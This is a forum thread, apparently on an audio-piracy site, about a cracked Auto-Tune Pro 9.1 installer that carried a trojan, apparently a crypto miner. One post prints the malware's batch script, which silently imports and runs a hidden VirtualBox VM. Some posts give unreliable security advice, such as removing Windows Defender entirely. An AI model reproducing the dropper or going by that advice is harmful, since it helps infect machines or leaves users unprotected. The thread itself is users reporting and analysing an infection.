He acknowledged the issue and the release will be deleted there too.

 

i download the infected one, and my bitdefender didnt catch it what should i do know? any help guys please

 

Windows Defender will find it and take action against it

The virus/maleware Defender found was:
Trojan:Win32/DefenseEvasion!BV

 

Damn, would really like to get that file to examine it.
There also was an infected serum installer around which had a really bad data sniffer on board
that didn't get detected by any antivirus in the first weeks.

Maybe it's the same type of virus here.

Btw. don't use defender, it's total insecure crap. You can modify its settings using a simple batch script
and allow connections for sending stolen data etc. The simplest antivirus should be able to block such actions
but defender isn't. I completely removed it from my Windows installation because it just takes space and eats
cpu while protecting me from nothing serious.

Btw. I don't get why people always want to use Autotune when there are even better solutions on the market
like Celemony Melodyne. Autotune is just the one of them that made the therm "autotuning" famous - nothing less
and nothing more.

 

senseless AV....but task/process manager would have shown

how , with the lite OS tool app...?

interesting , cause on win7 its senseless process runner...always disabled....i mean also when i would use AV i would count just on malwarebytes,kaspersky,zoner etc

 

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This is the right way https://audiosex.pro/threads/warnin...crack-virus-infected.50266/page-2#post-426074

 

Hey, I just want to let everyone know that Antares has switched from ILOK to WIBU.

 

Yes, kind of a tool like NTLite.
But you also can disable and remove it afterwards with certain tools

 

has low cpu use from what i kno from reason
--

 

Some say it's great and take very little CPU. Defender has improved greatly since it's early period. And like I said it was not Defenders fault that I got the virus. Defender found it but I did not take action cause I thought it was a false positive.
All other so called "free" antivirus has a lot of pop ups and notification about the premium version. So I guess you pay when you say you use something else. I have not seen any proof that any other antivirus use less CPU than Defender. Also I will not recommend uninstalling Defender it could be asking for trouble on next Windows update (much better to just disable it). I use Windows 10 by the way....

 

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well yeah, like Ilok had no cpu tradeoff before it was cracked

 

so is there actully a real auto tune 9.1 working crack or it was just a fake all the way?

 

i dont have windows defender it is disabled, i scanned my pc seems like nothing is infected but how can i be sure?

 

Why not to stop make shitty trap and let autotune die?

 

Try and disable bitdefender and enable Defender (do a quick scan) If defender don't find anything I guess you are safe. Where did you download from?

 

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As far as I found out the rutracker version (the version that also was at audioz for a moment) has a miner Trojan in the "Auto-Tune Pro V9.1 [NO ILOK ACTIVATOR].msi" .... But there is also another versoin of it that doesnt contain this virus and also has another checksum and is an exe-file called "Auto-Tune Pro V9.1 [NO ILOK ACTIVATOR].exe". This installs an instance of Oracles VBox on your computer in your programs folder...this folder is hidden and at calls something in another hidden folder named "vms"

While installing the "Auto-Tune Pro V9.1 [NO ILOK ACTIVATOR].exe"...if you are fast enough you can see in your C:\Users\youUsername\AppData\Local\Temp\ a folder popping up named 5CC5.tmp...Now you have to be fast and make a copy of this folder before it disapears.

In this folder there's a bat file with this content....I really have no idea what this is doing..is it dangerous or not. Maybe someone else is able to anylyse it. I can send you the link to download the package. I also can send you the 100% infected package from rutracker if you want it.

--------------------------------------------------------------------------------------------------------------------------------------
@shift /0
@echo off

setlocal EnableExtensions EnableDelayedExpansion

"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00.ova"

xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"

"C:\vms\VmServiceControl.exe" -i

del /F "c:\vms\tmp\sys00.ova"
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Last edited: Oct 1, 2019

Randomly interrupting, but is there a similar feature to this for Firefox? Since moving from Chrome to Firefox, the translating of pages is the only thing I miss.

 

¿Is it "Xfer Serum & Serum FX Update 127b2.rar"? (which got deleted from sister site a few weeks ago)

 

Here's the VirusTotal report of the infected Auto-Tune Pro V9.1 [NO ILOK ACTIVATOR].msi file from rutracker: https://bit.ly/2nENTy7

(It has not been removed from rutracker as of this post by the way.)

 

Edit - It does in fact appear to be a crypto currency miner.


Well, it's a batch file and it runs vboxmanage.exe and VmServiceControl.exe, so if those files are on your system, upload them to virustotal and see if it alerts on anything. Keep in mind that it's possible for a rootkit or other virus to install itself in a such a way so that those files will appear to Windows as uninfected, and can even upload to virustotal uninfected versions of the files, even though they are actually infected. (For example, rootkits can create hidden partitions which store the infected "versions" of the files that execute and run on your system, but the versions of those files that appear in your regular file system will read as uninfected. Unless you have specific steps to remove a specific rootkit like that, often the only option is to reformat the drive and restore from the last virus free backup, which you hopefully have.)

 

Last edited: Oct 3, 2019